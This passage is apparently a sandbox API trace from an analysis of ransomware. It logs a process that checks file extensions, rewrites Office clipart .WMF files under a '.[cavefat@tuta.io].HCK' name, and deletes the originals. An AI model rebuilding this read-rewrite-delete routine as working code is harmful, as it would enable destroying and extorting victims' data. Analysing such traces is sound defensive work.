68 [0178.491] lstrlenW (lpString=".dbf") returned 4 [0178.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".1cd") returned 4 [0178.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".jpg") returned 4 [0178.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.492] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.492] lstrlenW (lpString="NA00932_.WMF") returned 12 [0178.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.499] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12816) returned 1 [0178.499] CloseHandle (hObject=0x368) returned 1 [0178.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf")) returned 0x220 [0178.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.502] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.502] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.504] GetLastError () returned 0x0 [0178.504] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3210, lpOverlapped=0x0) returned 1 [0178.506] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3220, lpOverlapped=0x0) returned 1 [0178.507] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.507] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.507] SetEndOfFile (hFile=0x2fc) returned 1 [0178.508] CloseHandle (hObject=0x2fc) returned 1 [0178.509] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.509] SetEndOfFile (hFile=0x3a4) returned 1 [0178.513] CloseHandle (hObject=0x3a4) returned 1 [0178.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf")) returned 1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".doc") returned 4 [0178.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString=".docx") returned 5 [0178.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.515] lstrlenW (lpString=".pdf") returned 4 [0178.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString=".xls") returned 4 [0178.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.515] lstrlenW (lpString=".xlsx") returned 5 [0178.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.515] lstrlenW (lpString=".ppt") returned 4 [0178.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".zip") returned 4 [0178.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.515] lstrlenW (lpString=".rar") returned 4 [0178.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString=".bz2") returned 4 [0178.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString=".7z") returned 3 [0178.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".dbf") returned 4 [0178.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".1cd") returned 4 [0178.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".jpg") returned 4 [0178.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.515] lstrlenW (lpString=".doc") returned 4 [0178.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.515] lstrlenW (lpString=".docx") returned 5 [0178.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.516] lstrlenW (lpString=".pdf") returned 4 [0178.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString=".xls") returned 4 [0178.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.516] lstrlenW (lpString=".xlsx") returned 5 [0178.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.516] lstrlenW (lpString=".ppt") returned 4 [0178.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.516] lstrlenW (lpString=".zip") returned 4 [0178.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.516] lstrlenW (lpString=".rar") returned 4 [0178.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString=".bz2") returned 4 [0178.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString=".7z") returned 3 [0178.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.516] lstrlenW (lpString=".dbf") returned 4 [0178.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.516] lstrlenW (lpString=".1cd") returned 4 [0178.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 68 [0178.516] lstrlenW (lpString=".jpg") returned 4 [0178.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.516] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.516] lstrlenW (lpString="NA01123_.WMF") returned 12 [0178.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.521] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7680) returned 1 [0178.521] CloseHandle (hObject=0x300) returned 1 [0178.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf")) returned 0x220 [0178.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.527] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.527] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.529] GetLastError () returned 0x0 [0178.529] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1e00, lpOverlapped=0x0) returned 1 [0178.531] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0178.531] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.531] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.532] SetEndOfFile (hFile=0x2fc) returned 1 [0178.534] CloseHandle (hObject=0x2fc) returned 1 [0178.535] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.535] SetEndOfFile (hFile=0x3a4) returned 1 [0178.537] CloseHandle (hObject=0x3a4) returned 1 [0178.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf")) returned 1 [0178.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.539] lstrlenW (lpString=".doc") returned 4 [0178.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.539] lstrlenW (lpString=".docx") returned 5 [0178.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.539] lstrlenW (lpString=".pdf") returned 4 [0178.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.539] lstrlenW (lpString=".xls") returned 4 [0178.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.539] lstrlenW (lpString=".xlsx") returned 5 [0178.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.539] lstrlenW (lpString=".ppt") returned 4 [0178.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.539] lstrlenW (lpString=".zip") returned 4 [0178.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.539] lstrlenW (lpString=".rar") returned 4 [0178.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.539] lstrlenW (lpString=".bz2") returned 4 [0178.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString=".7z") returned 3 [0178.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".dbf") returned 4 [0178.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".1cd") returned 4 [0178.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".jpg") returned 4 [0178.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".doc") returned 4 [0178.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString=".docx") returned 5 [0178.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.540] lstrlenW (lpString=".pdf") returned 4 [0178.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString=".xls") returned 4 [0178.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.540] lstrlenW (lpString=".xlsx") returned 5 [0178.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.540] lstrlenW (lpString=".ppt") returned 4 [0178.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".zip") returned 4 [0178.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.540] lstrlenW (lpString=".rar") returned 4 [0178.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString=".bz2") returned 4 [0178.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString=".7z") returned 3 [0178.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".dbf") returned 4 [0178.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".1cd") returned 4 [0178.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF") returned 68 [0178.540] lstrlenW (lpString=".jpg") returned 4 [0178.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.540] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.540] lstrlenW (lpString="NA01148_.WMF") returned 12 [0178.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.544] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7992) returned 1 [0178.544] CloseHandle (hObject=0x300) returned 1 [0178.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf")) returned 0x220 [0178.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.549] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.549] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.551] GetLastError () returned 0x0 [0178.551] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0178.552] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0178.553] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.553] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.553] SetEndOfFile (hFile=0x3a4) returned 1 [0178.555] CloseHandle (hObject=0x3a4) returned 1 [0178.556] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.556] SetEndOfFile (hFile=0x300) returned 1 [0178.560] CloseHandle (hObject=0x300) returned 1 [0178.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf")) returned 1 [0178.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.563] lstrlenW (lpString=".doc") returned 4 [0178.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.563] lstrlenW (lpString=".docx") returned 5 [0178.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.563] lstrlenW (lpString=".pdf") returned 4 [0178.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString=".xls") returned 4 [0178.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.564] lstrlenW (lpString=".xlsx") returned 5 [0178.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.564] lstrlenW (lpString=".ppt") returned 4 [0178.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".zip") returned 4 [0178.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.564] lstrlenW (lpString=".rar") returned 4 [0178.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString=".bz2") returned 4 [0178.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString=".7z") returned 3 [0178.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".dbf") returned 4 [0178.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".1cd") returned 4 [0178.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".jpg") returned 4 [0178.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".doc") returned 4 [0178.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString=".docx") returned 5 [0178.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.564] lstrlenW (lpString=".pdf") returned 4 [0178.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString=".xls") returned 4 [0178.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.564] lstrlenW (lpString=".xlsx") returned 5 [0178.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.564] lstrlenW (lpString=".ppt") returned 4 [0178.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.564] lstrlenW (lpString=".zip") returned 4 [0178.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.564] lstrlenW (lpString=".rar") returned 4 [0178.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.565] lstrlenW (lpString=".bz2") returned 4 [0178.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.565] lstrlenW (lpString=".7z") returned 3 [0178.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.565] lstrlenW (lpString=".dbf") returned 4 [0178.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0178.565] lstrlenW (lpString=".1cd") returned 4 [0178.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") 